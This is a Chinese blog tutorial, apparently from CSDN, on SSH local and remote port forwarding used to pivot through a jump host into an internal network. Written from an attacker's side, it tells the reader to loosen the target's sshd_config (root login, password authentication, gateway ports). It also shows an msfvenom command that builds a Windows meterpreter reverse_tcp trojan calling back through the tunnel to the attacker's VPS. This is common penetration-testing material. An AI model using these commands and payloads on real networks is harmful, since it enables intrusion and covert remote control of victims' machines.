连接本地端口_SSH隧道端口转发详解

本文详细介绍了SSH的端口转发,包括本地端口转发和远程端口转发,以及如何通过SSH隧道实现内网主机上线。通过不同场景的模拟,展示了如何在各种限制条件下利用SSH进行安全的数据传输和访问控制。
摘要由CSDN通过智能技术生成

一、SSH配置文件设置

需要在目标主机修改如下配置文件内容:

Vi /etc/ssh/sshd_config   #SSH配置文件AllowTcpForwarding yes     #是否允许转发TCP协议GatewayPorts yes   #是否允许远程主机连接本地转发端口PermitRootLogin yes    #是否允许root登录PasswordAuthentication yes    #是否允许使用基于密码的认证TCPKeepAlive yes    #保持心跳,防止 ssh 断开

二、SSH端口转发参数详解

-C   #压缩传输,加快传输速度-f    #将SSH转入后台执行,不占用当前的shell-N   #建立静默连接(建立了连接,但是看不到具体会话)-g   #允许远程主机连接到本地用于转发的端口-L   #本地端口转发-R   #远程端口转发-D  #动态转发(socks代理)-P  #指定SSH端口

三、具体转发方式

①本地端口转发(将攻击者vps的某个端口转发到目标指定机器的指定端口)

场景:只能访问B主机,B作为跳板,将内网C主机端口带出来

在vps上执行:

ssh -L vps本地端口:C主机ip:C端口 B用户名@ip

实例:

ssh -CfNg –L 2121:192.168.1.109:3389 root@192.168.1.2

671a641e79beda4ef707d2be51abca1f.png

此时连接vps本地2121端口就相当于连接到内网C主机的3389端口

1e659d122f6dd5e479fb6771c7475d54.png

②远程端口转发(将目标主机的某个端口转发到攻击者vps的指定端口)

场景:无法访问B主机,但是B主机可以出网,通过B为跳板,将内网C主机端口带出来

在B跳板上执行:

ssh -R vps端口:C主机ip:C端口 vps用户名@ip

实例:

ssh -CfNg -R 1080:192.168.1.109:3389 root@192.168.1.106

1bba35d7a89a5a1ea1c49e8a66ed730d.png

此时连接vps本地1080端口就相当于连接到内网C主机的3389端口

-b5c8b174a458e61659e91310f0c08d35.png

四、如何通过跳板机让内网主机上线?

①通过本地端口转发

场景:(B跳板机能出网,内网C主机能访问B跳板,内网其他主机怎么全部上线呢?)

C主机执行:

ssh -CfNg -L 本地端口:vps的ip:vps端口 B用户名@ip

4edd4537a179a85bfa9be35812e8a5ba.png

然后MSF生成木马(lhost=C主机ip,lport=C主机端口):

msfvenom -p windows/meterpreter/reverse_tcp lhost=C主机ip lport=C主机端口 -f exe > ssh.exe

d7c6d5d5ec103728eedb187076130691.png

然后vps开启MSF监听(vps本地端口和ip即可):

b13b95b6283129cacf7460ab460e6bdb.png

内网中的主机执行payload就能成功上线:

流量走向:C主机6666端口-->B跳板-->vps的6666端口

ff257e8ab1e80d317bae212c87f282a4.png

②通过远程端口转发

场景:(B跳板机能出网,内网C主机能访问B跳板,内网其他主机怎么全部上线呢?)

B跳板执行:

ssh –CfNg -R C主机端口:vps的ip:vps的端口 C主机用户名@ip

1172636f60f59e626c7455167adad919.png

然后MSF生成木马(lhost=C主机ip,lport=C主机端口):

8eb247cb3158fd226ff4d39a10386a87.png

然后vps开启MSF监听(vps本地端口和ip即可):

171fb66a1010f7c5c57d2ebe0edc71e5.png

执行payload就能成功上线

流量走向:C主机7777端口-->B跳板-->vps的4444端口

4184006d7de1672fef71e04fa96772fc.png

文章只是模拟部分场景,总体来说SSH隧道还是挺稳定的,实际场景还需根据实际情况进行思路拓展,文章如有错误,欢迎一起交流

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值